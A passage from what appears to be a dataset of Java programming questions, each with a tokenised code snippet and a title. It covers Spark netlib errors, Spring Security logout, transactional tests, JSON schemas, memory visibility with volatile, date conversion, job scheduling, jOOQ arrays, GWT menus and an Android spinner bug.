args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { StUI2 ui = new StUI2 ( ) ; } } ) ; } }",Space ship simulator guidance computer targeting with concentric indicator squares +Java,I was doing a practice Computer Science UIL test form when I came across this problem : What is output by the following ? I put down the answer `` No output due to syntax error '' but I got it wrong . The real answer was 4 8 1 ! ( I tested it out myself ) Can someone please explain to me how line 4 works ? Thanks,int a = 5 ; int b = 7 ; int c = 10 ; c = b+++-c -- + -- a ; System.out.println ( a + `` `` + b + `` `` + c ) ;,Weird Java Syntax +Java,"I have a class that looks like this : How can I simplify this iniCall and finalCall so not to write them in every function ( or several functions ) ? Is it possible to do something like call ( method1 ) , being call something like this : Otherwise , what is a good alternative ?",class A { public void method1 ( ) { iniCall ( ) ; // Do something finalCall ( ) ; } public void method2 ( ) { iniCall ( ) ; // Do something different finalCall ( ) ; } // ... more methods like this } public void call ( method ) { iniCall ( ) ; method ( ) ; finalCall ( ) ; },One method called in several methods +Java,"Background & ProblemI am having a bit of trouble running the examples in Spark 's MLLib on a machine running Fedora 23 . I have built Spark 1.6.2 with the following options per Spark documentation : and upon running the binary classification example : I receive the following error : /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.92-1.b14.fc23.x86_64/jre/bin/java : symbol lookup error : /tmp/jniloader5830472710956533873netlib-native_system-linux-x86_64.so : undefined symbol : cblas_dscalErrors of this form ( symbol lookup error with netlib ) are not limited to this particular example . On the other hand , the Elastic Net example ( ./bin/run-example ml.LinearRegressionWithElasticNetExample ) runs without a problem.Attempted SolutionsI have tried a number of solutions to no avail . For example , I went through some of the advice here https : //datasciencemadesimpler.wordpress.com/tag/blas/ , and while I can successfully import from com.github.fommil.netlib.BLAS and LAPACK , the aforementioned symbol lookup error persists . I have read through the netlib-java documentation at fommil/netlib-java , and have ensured my system has the libblas and liblapack shared object files : The most promising advice I found was here http : //fossdev.blogspot.com/2015/12/scala-breeze-blas-lapack-on-linux.html , which suggests including JAVA_OPTS= '' - Dcom.github.fommil.netlib.BLAS=com.github.fommil.netlib.NativeRefBLAS '' in the sbt script . So , I included appended those options to _COMPILE_JVM_OPTS= '' ... '' in the build/mvn script , which also did not resolve the problem . Finally , a last bit of advice I found online suggested passing the following flags to sbt : and again the issue persists . I am limited to two links in my post , but the advice can be found as the README.md of lildata 's 'scaladatascience ' repo on github.Has anybody suffered this issue and successfully resolved it ? Any and all help or advice is deeply appreciated .",build/mvn -Pnetlib-lgpl -Pyarn -Phadoop-2.4 \ -Dhadoop.version=2.4.0 -DskipTests clean package bin/spark-submit -- class org.apache.spark.examples.mllib.BinaryClassification \ examples/target/scala-*/spark-examples-*.jar \ -- algorithm LR -- regType L2 -- regParam 1.0 \ data/mllib/sample_binary_classification_data.txt $ ls /usr/lib64 | grep libblaslibblas.solibblas.so.3libblas.so.3.5libblas.so.3.5.0 $ ls /usr/lib64 | grep liblapackliblapacke.soliblapacke.so.3liblapacke.so.3.5liblapacke.so.3.5.0liblapack.soliblapack.so.3liblapack.so.3.5liblapack.so.3.5.0 sbt -Dcom.github.fommil.netlib.BLAS=com.github.fommil.netlib.F2jBLAS \-Dcom.github.fommil.netlib.LAPACK=com.github.fommil.netlib.F2jLAPACK \-Dcom.github.fommil.netlib.ARPACK=com.github.fommil.netlib.F2jARPACK,'Symbol lookup error ' with netlib-java +Java,"We have used liquibase at our company for a while , and we 've had a continuous integration environment set up for the database migrations that would break a job when a patch had an error.An interesting `` feature '' of that CI environment is that the breakage had a `` likely culprit '' , because all patches need to have an `` author '' , and the error message shows the author name.If you do n't know what liquibase is , that 's ok , its not the point.The point is : having a person name attached to a error is really good to the software development proccess : problems get addressed way faster.So I was thinking : Is that possible for Java stacktraces ? Could we possibly had a stacktrace with peoples names along with line numbers like the one below ? That kind of information would have to be pulled out from a SCM system ( like performing `` svn blame '' for each source file ) .Now , forget about trashing the compilation time for a minute : Would that be even possible ? To add metadata to class files like that ?",java.lang.NullPointerException at org.hibernate.tuple.AbstractEntityTuplizer.createProxy ( AbstractEntityTuplizer.java:372 : john ) at org.hibernate.persister.entity.AbstractEntityPersister.createProxy ( AbstractEntityPersister.java:3121 : mike ) at org.hibernate.event.def.DefaultLoadEventListener.createProxyIfNecessary ( DefaultLoadEventListener.java:232 : bob ) at org.hibernate.event.def.DefaultLoadEventListener.proxyOrLoad ( DefaultLoadEventListener.java:173 : bob ) at org.hibernate.event.def.DefaultLoadEventListener.onLoad ( DefaultLoadEventListener.java:87 : bob ) at org.hibernate.impl.SessionImpl.fireLoad ( SessionImpl.java:862 : john ),Is it possible to add custom metadata to .class files ? +Java,"I have updated Spring security from 4.x to 5.x . Now , I have this situation where Spring security asks user to confirm logout . With messageAre you sure you want to log out ? below given image for the same.I want to get rid of this step . How to get rid of logout confirmation ? Objective : I want to logout and redirect on page where I came from.The security.xml :",< beans : beans xmlns= '' http : //www.springframework.org/schema/security '' xmlns : beans= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //www.springframework.org/schema/beans http : //www.springframework.org/schema/beans/spring-beans-3.0.xsd http : //www.springframework.org/schema/security http : //www.springframework.org/schema/security/spring-security-4.2.xsd '' > < http auto-config= '' true '' use-expressions= '' true '' > < ! -- isAnonymous ( ) -- > < intercept-url pattern= '' /**/add/** '' access= '' isAuthenticated ( ) '' / > < intercept-url pattern= '' /**/delete/** '' access= '' isAuthenticated ( ) '' / > < intercept-url pattern= '' /**/update/** '' access= '' isAuthenticated ( ) '' / > < /http > < authentication-manager > < authentication-provider > < user-service > < user name= '' uzer64 '' password= '' { noop } 123456 '' authorities= '' ROLE_USER '' / > < user name= '' admin '' password= '' { noop } admin '' authorities= '' ROLE_ADMIN '' / > < /user-service > < /authentication-provider > < /authentication-manager > < /beans : beans >,How to disable logout confirmation in spring security using xml ? +Java,"I 'm writing integration tests for my Spring boot app Rest controller . When I annotate the test class with @ Transactional it does n't work as expected , and when I remove the annotation it passes fine . Does using @ Transactional on a test class mean absolutely nothing gets written to the db ? My other tests work fine ! They do more or less the same job . They write/update/read but thistest tests a delete endpoint . If annotating a test class with @ Transactional means there 's no control on data persistence , why do people even use it on their tests ? I injected entity manager to the test class and called flush and clear , it did n't help.Even if the data is not written to the db , they are persisted , right ? Does n't calling repository.delete should delete that item from the persistence context ? The code that does n't affect the db ( delete ) is located in the Service layer . It 's called from within the Controller that I 'm testing , not the test class . I expected it to work regardless of the fact that test class is annotated with @ Transacational or not.Note Service layer is @ TransactionalThis is in the service layer and is called by the controller . It 's not called form within the test.Edit 1The code for the test that fails : The code for the test that works in the same test class : Create and Delete methods in the GroupService : The code for the rest controller : Edit 2I tried deleting User instead of Group and it does n't work either . In the same method ( delete method of the Group Service layer ) creating a group works , but deleting does not !","public void delete ( long groupId , String username ) { Group group = this.loadById ( groupId ) ; User user = userService.loadByUsername ( username ) ; groupRepository.delete ( groupId ) ; } /* * Deleting a group should n't delete the members of that group */ @ Testpublic void testDeleteGroupWithMembers ( ) throws Exception { Principal mockPrincipal = Mockito.mock ( Principal.class ) ; Mockito.when ( mockPrincipal.getName ( ) ) .thenReturn ( DUMMY_USERNAME ) ; User admin = userTestingUtil.createUser ( DUMMY_USERNAME , DUMMY_USER_NAME , null , null ) ; Group group = groupTestingUtil.createGroup ( DUMMY_GROUP_NAME , DUMMY_GROUP_DESCRIPTION , DUMMY_IMAGE_ID , admin ) ; User member = userTestingUtil.createUser ( `` test1 @ test.test '' , `` testUser1 '' , null , null ) ; group.addMember ( member ) ; RequestBuilder requestBuilder = MockMvcRequestBuilders .delete ( GROUP_ENDPOINT_URL + group.getId ( ) ) .accept ( MediaType.APPLICATION_JSON ) .contentType ( MediaType.APPLICATION_JSON ) .principal ( mockPrincipal ) ; MvcResult result = mockMvc.perform ( requestBuilder ) .andReturn ( ) ; MockHttpServletResponse response = result.getResponse ( ) ; int status = response.getStatus ( ) ; String content = response.getContentAsString ( ) ; Assert.assertEquals ( `` wrong response status '' , 200 , status ) ; Assert.assertEquals ( `` wrong response content '' , `` '' , content ) ; //This test fails , as the group is not yet deleted from the repo Assert.assertEquals ( `` there should be no group left '' , 0 , Lists.newArrayList ( groupRepository.findAll ( ) ) .size ( ) ) ; Assert.assertEquals ( `` wrong number of users exist '' , 2 , Lists.newArrayList ( userRepository.findAll ( ) ) .size ( ) ) ; Assert.assertTrue ( `` admin should n't get deleted when deleting a group '' , userRepository.findById ( admin.getId ( ) ) ! = null ) ; Assert.assertTrue ( `` group members should n't get deleted when deleting a group '' , userRepository.findById ( member.getId ( ) ) ! = null ) ; } @ Testpublic void testCreateGroup ( ) throws Exception { Principal mockPrincipal = Mockito.mock ( Principal.class ) ; Mockito.when ( mockPrincipal.getName ( ) ) .thenReturn ( DUMMY_USERNAME ) ; User user = userTestingUtil.createUser ( DUMMY_USERNAME , DUMMY_USER_NAME , null , null ) ; JSONObject jo = new JSONObject ( ) ; jo.put ( NAME_FIELD_NAME , DUMMY_GROUP_NAME ) ; jo.put ( DESCRIPTION_FIELD_NAME , DUMMY_GROUP_DESCRIPTION ) ; jo.put ( IMAGE_FIELD_NAME , DUMMY_IMAGE ) ; String testGroupJson = jo.toString ( ) ; RequestBuilder requestBuilder = MockMvcRequestBuilders .post ( GROUP_ENDPOINT_URL ) .content ( testGroupJson ) .accept ( MediaType.APPLICATION_JSON ) .contentType ( MediaType.APPLICATION_JSON ) .principal ( mockPrincipal ) ; MvcResult result = mockMvc.perform ( requestBuilder ) .andReturn ( ) ; MockHttpServletResponse response = result.getResponse ( ) ; int status = response.getStatus ( ) ; String content = response.getContentAsString ( ) ; List < Group > createdGroups = Lists.newArrayList ( groupRepository.findAll ( ) ) ; Group createdGroup = createdGroups.get ( 0 ) ; Assert.assertEquals ( `` wrong response status '' , 200 , status ) ; Assert.assertEquals ( `` wrong response content '' , `` '' , content ) ; Assert.assertEquals ( `` wrong number of groups created '' , 1 , createdGroups.size ( ) ) ; Assert.assertEquals ( `` wrong group name '' , DUMMY_GROUP_NAME , createdGroup.getName ( ) ) ; Assert.assertEquals ( `` wrong group description '' , DUMMY_GROUP_DESCRIPTION , createdGroup.getDescription ( ) ) ; Assert.assertEquals ( `` wrong admin is assigned to the group '' , user.getId ( ) , createdGroup.getAdmin ( ) .getId ( ) ) ; List < Group > groups = userTestingUtil.getOwnedGroups ( user.getId ( ) ) ; Assert.assertEquals ( `` wrong number of groups created for the admin '' , 1 , groups.size ( ) ) ; Assert.assertEquals ( `` wrong group is assigned to the admin '' , user.getOwnedGroups ( ) .get ( 0 ) .getId ( ) , createdGroup.getAdmin ( ) .getId ( ) ) ; Assert.assertTrue ( `` image file was not created '' , CommonUtils.getImageFile ( createdGroup.getImageId ( ) ) .exists ( ) ) ; } public void create ( String groupName , String description , String image , String username ) throws IOException { User user = userService.loadByUsername ( username ) ; Group group = new Group ( ) ; group.setAdmin ( user ) ; group.setName ( groupName ) ; group.setDescription ( description ) ; String imageId = CommonUtils.decodeBase64AndSaveImage ( image ) ; if ( imageId ! = null ) { group.setImageId ( imageId ) ; } user.addOwnedGroup ( group ) ; groupRepository.save ( group ) ; logger.debug ( `` Group with name `` + group.getName ( ) + `` and id `` + group.getId ( ) + `` was created '' ) ; } public void delete ( long groupId , String username ) { Group group = this.loadById ( groupId ) ; User user = userService.loadByUsername ( username ) ; validateAdminAccessToGroup ( group , user ) ; groupRepository.delete ( groupId ) ; logger.debug ( `` Group with id `` + groupId + `` was deleted '' ) ; } /* * Create a group */ @ RequestMapping ( path = `` '' , method = RequestMethod.POST ) public void create ( @ RequestBody PostGroupDto groupDto , Principal principal , BindingResult result ) throws IOException { createGroupDtoValidator.validate ( groupDto , result ) ; if ( result.hasErrors ( ) ) { throw new ValidationException ( result.getFieldError ( ) .getCode ( ) ) ; } groupService.create ( groupDto.getName ( ) , groupDto.getDescription ( ) , groupDto.getImage ( ) , principal.getName ( ) ) ; } /* * Delete a group */ @ RequestMapping ( path = `` / { groupId } '' , method = RequestMethod.DELETE ) public void delete ( @ PathVariable long groupId , Principal principal ) { groupService.delete ( groupId , principal.getName ( ) ) ; }",@ Transcational test class affects how transactional service layer works +Java,"Say I have following json : Now there could be multiple objects like above , so I want to reference above schema which can be generated from https : //www.jsonschema.net , but I want to have the empName as object keys and above as value , so it will be an object with multiple unique keys ( empName ) and the value will be referencing above schema . Consider below example , when the POJO is serialized to JSON by Jackson , it should be like below : What should be the overall schema for this scenario ( the JSON schema ) ? Ultimately , jackson will be used to generate the POJO for this schema and used in the REST APIs that I have created.EDIT : ( trying to clarify ) Imagine a List < Map < k , v > > as my data . I want to have json schema for this whose output json will have the keys as the object names , like above json example.Solution : Mushif 's comment to this question is the answer . For the value part , jsonschema can be used . Map < String , EmployeeDTO >","{ `` empName '' : `` rameshp '' , `` designation '' : `` SE1 '' , `` skills '' : [ { `` id '' : 2 , `` rating '' : 4 , `` skillName '' : `` Node.js 7 '' , `` skillCategory '' : `` Programming '' } ] } { `` rameshp '' : { `` empName '' : `` rameshp '' , `` designation '' : `` SE1 '' , `` skills '' : [ { `` id '' : 2 , `` rating '' : 4 , `` skillName '' : `` Node.js 7 '' , `` skillCategory '' : `` Programming '' } ] } , `` john '' : { `` empName '' : `` john '' , `` designation '' : `` SE2 '' , `` skills '' : [ { `` id '' : 2 , `` rating '' : 4 , `` skillName '' : `` Node.js 7 '' , `` skillCategory '' : `` Programming '' } ] } }",How to generate JSON schema of object type with dynamic key names ? +Java,"This is my code : I want to know why I 'm getting a compilation error if I use b=b+1 , but on the other hand b+=1 compiles properly while they seem to do the same thing .",class Example { public static void main ( String args [ ] ) { byte b=10 ; //b=b+1 ; //Illegal b+=1 ; //Legal System.out.println ( b ) ; } },Why b=b+1 when b is a byte wo n't compile but b+=1 compiles +Java,"My question is an extension to this one : Volatile guarantees and out-of-order executionTo make it more concrete , let 's say we have a simple class which can be in two states after it is initialized : The field initialized is declared volatile , so it introduces happen-before 'barrier ' which ensures that reordering ca n't take place . Since the state field is written only before initialized field is written and read only after the initialized field is read , I can remove the volatile keyword from declaration of the state and still never see a stale value . Questions are : Is this reasoning correct ? Is it guaranteed that the write to initialized field wo n't be optimized away ( since it changes only the first time ) and the 'barrier ' wo n't be lost ? Suppose , instead of the flag , a CountDownLatch was used as an initializer like this : Would it still be alright ?",class A { private /*volatile ? */ boolean state ; private volatile boolean initialized = false ; boolean getState ( ) { if ( ! initialized ) { throw new IllegalStateException ( ) ; } return state ; } void setState ( boolean newState ) { state = newState ; initialized = true ; } } class A { private /*volatile ? */ boolean state ; private final CountDownLatch initialized = new CountDownLatch ( 1 ) ; boolean getState ( ) throws InterruptedException { initialized.await ( ) ; return state ; } void setState ( boolean newState ) { state = newState ; initialized.countdown ( ) ; } },Java : volatile implied order guarantees +Java,"I googled for a while and the most commonly used method seems to be However , this method seems to fail for dates before 1893-04-01The following test fails on my machine with an outcome of 1893-03-31 instead of 1893-04-01 : The System.out.prinlns are for me to double check the created dates . I see the following output : For 1400-04-01 I even get an output of 1400-04-09.Is there any method to convert dates before 1893-04 correctly to LocalDate ? As some helpfully pointed out , the reason for this shift is explained in this question . However , I do n't see how I can deduce a correct conversion based on this knowledge .","date.toInstant ( ) .atZone ( ZoneId.systemDefault ( ) ) .toLocalDate ( ) ; @ Testpublic void testBeforeApril1893 ( ) throws ParseException { Date date = new SimpleDateFormat ( `` yyyy-MM-dd '' ) .parse ( `` 1893-04-01 '' ) ; System.out.println ( date ) ; LocalDate localDate2 = date.toInstant ( ) .atZone ( ZoneId.systemDefault ( ) ) .toLocalDate ( ) ; System.out.println ( localDate2 ) ; assertEquals ( 1893 , localDate2.getYear ( ) ) ; assertEquals ( 4 , localDate2.getMonth ( ) .getValue ( ) ) ; assertEquals ( 1 , localDate2.getDayOfMonth ( ) ) ; } Sun Apr 02 00:00:00 CET 18931893-04-02Sat Apr 01 00:00:00 CET 18931893-03-31",How to convert util.Date to time.LocalDate correctly for dates before 1893 +Java,"When refactoring methods it is easy to introduce binary incompabilities ( with previous versions of the code ) in Java . Consider changing a method to widen the type of its parameter to a parent interface : All the code that uses this method will continue to compile without changes , but it does require a re-compile ( because the old binaries will fail with a MethodNotFoundError ) .How about pulling a method up into a parent class . Will this require a re-compile ? The method has been moved from B to the parent A . It has also changed visibility from protected to public ( but that is not a problem ) .Do I need to maintain a `` binary compatibility wrapper '' in B , or will it continue to work ( automatically dispatch to the parent class ) ?",void doSomething ( String x ) ; // change it to void doSomething ( CharSequence c ) ; // beforepublic class B extends A { protected void x ( ) { } ; } // afterpublic class A { public void x ( ) { } ; } public class B extends A { } // do I need this ? public class B extends A { // binary compatibility wrapper public void x ( ) { super.x ( ) ; } },Refactored methods and binary compatibility in Java +Java,"I 'm doing a code review for a change in a Java product I do n't own . I 'm not a Java expert , but I strongly suspect that this is pointless and indicates a fundamental misunderstanding of how synchronization works . But I could be wrong , since Java is not my primary playground . Perhaps there is a reason this is done . If you can enlighten me as to what the developer was thinking , I would appreciate it .",synchronized ( this ) { this.notify ( ) ; },Confusing use of synchronized in Java : pattern or anti-pattern ? +Java,"BackgroundCreate a series of SQL JOIN statements using two operands : primary and secondary . The generic form of the JOIN statement is : ProblemThe code currently iterates over a list of primary and secondary operands , as follows : The problem is that the nested loop generates the following : The second join is superfluous and , in this case , causes an error . The duplication can be eliminated with the following hypothetical data structure : Where interchangeableMap.contains ( ... ) will return true if primaryOperand is mapped to secondaryOperand or secondaryOperand is mapped to primaryOperand.QuestionsDoes such a data structure exist in the Java libraries ? If not , what data structures would you use for its implementation ? IdeasMy first thought is to create a class that contains two HashMaps . Checking for containment queries the two HashMaps to see if one map contains the primary and secondary operands or the other map contains the secondary and primary operands . Insertions put the two operand combinations into their respective HashMaps.Thank you !","JOIN primary primary ON ( secondary.id == primary.id ) for ( Bundle primaryOperand : bundleComparators ) { for ( Bundle secondaryOperand : sortedBundles ) { JOIN primary primary ON ( secondary.id == primary.id ) JOIN secondary secondary ON ( primary.id == secondary.id ) if ( ! interchangeableMap.contains ( primaryOperand , secondaryOperand ) ) { interchangeableMap.put ( primaryOperand , secondaryOperand ) ; outputJoin ( primaryOperand , secondaryOperand ) ; }",An interchangeable key/value HashMap Set structure +Java,"Got this question during an interview . Wanted to know if there was a better solution : Given N tasks , and the dependencies among them , please provide an execution sequence , which make sure jobs are executed without violating the dependency.Sample File : 5 1 < 4 3 < 2 4 < 5 First line is the number of total tasks.1 < 4 means Task 1 has to be executed before task 4.One possible sequence would be:1 4 5 3 2My solution uses a DAG to store all the numbers , followed by a topological sort . Is there a less heavy-handed way of solving this problem ? :","DirectedAcyclicGraph < Integer , DefaultEdge > dag = new DirectedAcyclicGraph < Integer , DefaultEdge > ( DefaultEdge.class ) ; Integer [ ] hm = new Integer [ 6 ] ; //Add integer objects to storage array for later edge creation and add vertices to DAG for ( int x = 1 ; x < = numVertices ; x++ ) { Integer newInteger = new Integer ( x ) ; hm [ x ] = newInteger ; dag.addVertex ( newInteger ) ; } for ( int x = 1 ; x < lines.size ( ) -1 ; x++ ) { //Add edges between vertices String [ ] parts = lines.get ( x ) .split ( `` < `` ) ; String firstVertex = parts [ 0 ] ; String secondVertex = parts [ 1 ] ; dag.addDagEdge ( hm [ Integer.valueOf ( firstVertex ) ] , hm [ Integer.valueOf ( secondVertex ) ] ) ; } //Topological sort Iterator < Integer > itr = dag.iterator ( ) ; while ( itr.hasNext ( ) ) { System.out.println ( itr.next ( ) ) ; }",Job Scheduling Algorithm +Java,"In JDK 1.8 , the first statement of the java.util.List # sort ( Comparator ) method is the following : It 's expensive to copy the list into an array , sort it , and reset every node of the list to the sorted value from the array.It seems like it 's possible not to copy values to a temporary array when sorting an ArrayList . Am I right ? If not , what guided the creators of the method ?",Object [ ] a = this.toArray ( ) ;,Why does Java 's sort implementation convert a list to an array before sorting ? +Java,"I want to use Collections in java instead of arrays to serialize postgreSQL arrays . Such as int [ ] , varchar ( 256 ) [ ] to java Collection and Collection.I use jooq 3.6.2 , java 8 and postgresql 9.2.9.I tried to implement custom binding : And jooq-config.xml : SQL : CREATE TABLE array_tests ( string_array varchar ( 256 ) [ ] ) ; And I had error in generated class : no suitable method found for createField ( String , DataType , ArrayTests , String , PostgresArrayBinding ) Any ideas ?","public class PostgresArrayBinding implements Binding < Object , Collection > { @ Override public Converter < Object , Collection > converter ( ) { return new Converter < Object , Collection > ( ) { @ Override public Collection from ( final Object dbObj ) { return dbObj == null ? null : new ArrayList < > ( Arrays.asList ( ( Object [ ] ) dbObj ) ) ; } @ Override public Object to ( final Collection userObject ) { return userObject == null ? null : `` ARRAY [ `` + Joiner.on ( ' , ' ) .join ( userObject ) + `` ] '' ; } @ Override public Class < Object > fromType ( ) { return Object.class ; } @ Override public Class < Collection > toType ( ) { return Collection.class ; } } ; } @ Override public void sql ( final BindingSQLContext < Collection > ctx ) throws SQLException { ctx.render ( ) .visit ( DSL.val ( ctx.convert ( converter ( ) ) .value ( ) ) ) .sql ( `` : :ARRAY '' ) ; } @ Override public void register ( final BindingRegisterContext < Collection > ctx ) throws SQLException { ctx.statement ( ) .registerOutParameter ( ctx.index ( ) , Types.ARRAY ) ; } @ Override public void set ( final BindingSetStatementContext < Collection > ctx ) throws SQLException { ctx.statement ( ) .setString ( ctx.index ( ) , Objects.toString ( ctx.convert ( converter ( ) ) .value ( ) , null ) ) ; } @ Override public void set ( final BindingSetSQLOutputContext < Collection > ctx ) throws SQLException { throw new SQLFeatureNotSupportedException ( ) ; } @ Override public void get ( final BindingGetResultSetContext < Collection > ctx ) throws SQLException { ctx.convert ( converter ( ) ) .value ( ctx.resultSet ( ) .getString ( ctx.index ( ) ) ) ; } @ Override public void get ( final BindingGetStatementContext < Collection > ctx ) throws SQLException { ctx.convert ( converter ( ) ) .value ( ctx.statement ( ) .getString ( ctx.index ( ) ) ) ; } @ Override public void get ( final BindingGetSQLInputContext < Collection > ctx ) throws SQLException { throw new SQLFeatureNotSupportedException ( ) ; } } < configuration > ... < generator > < database > < name > org.jooq.util.postgres.PostgresDatabase < /name > < includes > . * < /includes > < excludes > schema_version < /excludes > < inputSchema > public < /inputSchema > < customTypes > ... < customType > < name > ARRAY < /name > < type > java.util.Collection < /type > < binding > ru.fabit.contingent.configuration.persistence.PostgresArrayBinding < /binding > < /customType > < /customTypes > < forcedTypes > ... < forcedType > < name > ARRAY < /name > < expression > . *_ARRAY < /expression > < types > . * < /types > < /forcedType > < /forcedTypes > < /database > < generate > < records > true < /records > < interfaces > true < /interfaces > < relations > true < /relations > < validationAnnotations > true < /validationAnnotations > < /generate > < target > < packageName > ru.fabit.contingent.models.generated < /packageName > < directory > src/main/java/ < /directory > < /target > < /generator > < /configuration > public final TableField < ArrayTestsRecord , Collection [ ] > STRING_ARRAY = createField ( `` string_array '' , org.jooq.impl.DefaultDataType.getDefaultDataType ( `` java.util.Collection '' ) .getArrayDataType ( ) , this , `` '' , new PostgresArrayBinding ( ) ) ;",Jooq array as collection +Java,"I 'm trying to add some mouse listeners to the sub menus/ cascading menus of GWT 's MenuBar . Sadly , I can not seem to access the submenu popuppanel directly - the method to do so ( getPopup ( ) ) is private . And you ca n't access it via reflection due to the way GWT compiles . Adding a mouse listener to the main menu bar ( to detect when the mouse is inside the menu bar boundaries ) was nice and simple . But I ca n't figure out any way to add a mouse listener to tell when the mouse is inside one of the cascading sub menus . What I am doing is this : This works great for the actual GWT MenuBar . When I mouse in , the mouseOverEvent triggers . When I mouse out , the MouseOutEvent triggers . The problem is that if I open a submenu from the main menubar , mousing into that menu will also trigger the MouseOutEvent . I need it not to do that . When I say submenu I mean something like the ones seen here : http : //www.gwtproject.org/javadoc/latest/com/google/gwt/user/client/ui/MenuBar.htmlSo as long as I 'm in the 'main ' bar that lists Style , Fruit , and Term , the mouse events recognize this . But if I drop down to the sub menu that says Bold , Italicized , More , the mouse events believe I have left the menu bar entirely . I need a way to determine if the mouse is inside one of these submenus . ( Or that a submenu of this main menu bar is open somewhere ) You can not simply do and add listeners to the resulting PopupPanel as getPopup is private . I 'm looking for another way to get to MenuBar.popup It seems there is no method to tell if one of the sub menus is open , as well , which is a bit perplexing to me . There seems to be a frustrating lack of ability to interact with these submenus , and I am wondering if I am missing something .","com.google.gwt.user.client.ui.MenuBar myMainBar = new MenuBar ( ) ; myMainBar.addDomHandler ( menuHoverOutHandler , MouseOutEvent.getType ( ) ) ; myMainBar.addDomHandler ( menuHoverOverHandler , MouseOverEvent.getType ( ) ) ; myMainBar.getPopup ( )",How can I access a GWT menubar popup panel / submenu ? +Java,Output:1Question : In the above case why does the function fun select the 1st function and not the second.On what basis is the selection done since there is no way to determine which fun the user actually wanted to call ?,"public static void main ( String [ ] args ) { System.out.println ( fun ( 2,3,4 ) ) ; } static int fun ( int a , int b , int c ) { return 1 ; } static int fun ( int ... a ) { return 0 ; }",Variable argument function ambiguity +Java,"Say I have the following code : Theoretically , true will have to be autoboxed , resulting in a slight performance hit versus inserting Boolean.TRUE . But since we 're dealing with a literal value , is it possible for the compiler to replace the primitive literal with a boxed literal so there 's no extra runtime overhead ? Before anyone attacks me , I would generally opt for the primitive literal for the sake of code clarity , even if there was a tiny performance cost . This question is mostly theoretical .","Map < String , Boolean > map = ... map.put ( `` foo '' , true ) ;",Is there a performance cost to autobox a primitive literal ? +Java,If it possible to write byte code for a method that is supposed to throw a checked exception ? For instance the following Java class does n't compile unless the method declares it throws the checked exception : While the following Scala equivalent does ( because Scala does n't have checked exceptions ) : Even if the bytecode generated are almost identical : Question : Is it possible ( and how ) to generate bytecode for that does n't mark it throws a checked exception even if the code inside that method does n't handle it ?,public class CheckedExceptionJava { public Class < ? > testChecked ( String s ) throws ClassNotFoundException { return Class.forName ( s ) ; } } class CheckedException { def testChecked ( s : String ) = Class.forName ( s ) } Compiled from `` CheckedExceptionJava.java '' public class CheckedExceptionJava extends java.lang.Object { public CheckedExceptionJava ( ) ; Code : 0 : aload_0 1 : invokespecial # 1 ; //Method java/lang/Object . `` < init > '' : ( ) V 4 : returnpublic java.lang.Class testChecked ( java.lang.String ) throws java.lang.ClassNotFoundException ; Code : 0 : aload_1 1 : invokestatic # 2 ; //Method java/lang/Class.forName : ( Ljava/lang/String ; ) Ljava/lang/Class ; 4 : areturn } Compiled from `` CheckedException.scala '' public class CheckedException extends java.lang.Object implements scala.ScalaObject { public CheckedException ( ) ; Code : 0 : aload_0 1 : invokespecial # 24 ; //Method java/lang/Object . `` < init > '' : ( ) V 4 : returnpublic java.lang.Class testChecked ( java.lang.String ) ; Code : 0 : aload_1 1 : invokestatic # 11 ; //Method java/lang/Class.forName : ( Ljava/lang/String ; ) Ljava/lang/Class ; 4 : areturn },How does scala generated byte code drops the checked exception ? +Java,"Here 's the problem : user is presented with a text field , unto which may he or she type the filter . A filter , to filter unfiltered data . User , experiencing an Oracle Forms brainwashing , excpets no special characters other than % , which I guess more or less stands for `` . * '' regex in Java.If the User Person is well behaved , given person will type stuff like `` CTHULH % '' , in which case I may construct a pattern : But if the User Person hails from Innsmouth , insurmountably will he type `` .+\ [ a- # $ % ^ & * ( `` destroying my scheme with a few simple keystrokes . This will not work : as it will put \Q at the beginning and \E at the end of the String , rendereing my % - > . * switch moot.The question is : do I have to look up every special character in the Pattern code and escape it myself by adding `` \\ '' in front , or can this be done automagically ? Or am I so deep into the problem , I 'm omitting some obvious way of resolution ?","Pattern.compile ( inputText.replaceAll ( `` % '' , `` . * '' ) ) ; Pattern.compile ( Pattern.quote ( inputText ) .replaceAll ( `` % '' , `` . * '' ) ) ;","How to escape all regex special chars but not all at once ( by Pattern.quote ( ) ) , just one-by one" +Java,"After surfing the web , I am still confused about the following thread behavior . I am aware that static variables are shared within the same classloader , however there 's sth definitely missing in this extract :",public class parallelCounter { public static final int N = 100000000 ; public static int j = 0 ; public static void inc ( ) { for ( int i = 0 ; i < N ; i++ ) { j++ ; } System.out.println ( j ) ; // 10000000 } } class parallelCounterDemo { public static void main ( String [ ] args ) { Thread t1 = new Thread ( new Runnable ( ) { @ Override public void run ( ) { parallelCounter.inc ( ) ; } } ) ; t1.start ( ) ; System.out.println ( parallelCounter.j ) ; // 0 Why ? } },Can a separate thread change static variable ? +Java,"Below is a link to the bug I am experiencing with my Android application . Rather than trying to explain it via a huge wall of text , I figured a simple video would be much more direct and easier to understand.http : //www.youtube.com/watch ? v=9V3v854894gI 've been beating my head against a wall on this problem for a day and a half now . I only found that it could be solved by changing the XML layout just recently which makes absolutely no sense to me . I have no idea how to properly fix it , or a way to band-aid the problem since I need the nested layouts in my application.Thank you everyone for all your help ! Here is the code : XML","import android.app.Activity ; import android.os.Bundle ; import android.view.View ; import android.widget.AdapterView ; import android.widget.ArrayAdapter ; import android.widget.Spinner ; import android.widget.AdapterView.OnItemSelectedListener ; public class Builder extends Activity { private Spinner mCompSelect ; private Spinner mNameSelect ; private int [ ] mCompColorAsBuilt ; private int mComponent ; /** Called when the activity is first created . */ @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.builder ) ; mCompColorAsBuilt = new int [ 3 ] ; //Attach our objects mCompSelect = ( Spinner ) findViewById ( R.id.component ) ; mNameSelect = ( Spinner ) findViewById ( R.id.component_name ) ; //Attach an adapter to the top spinner ArrayAdapter < CharSequence > a = ArrayAdapter.createFromResource ( this , R.array.cc_components , android.R.layout.simple_spinner_item ) ; a.setDropDownViewResource ( android.R.layout.simple_spinner_dropdown_item ) ; mCompSelect.setAdapter ( a ) ; //Create a listener when the top spinner is clicked mCompSelect.setOnItemSelectedListener ( new OnItemSelectedListener ( ) { public void onItemSelected ( AdapterView < ? > parent , View view , int position , long id ) { //Save the position mComponent = position ; //Create a new adapter to attach to the bottom 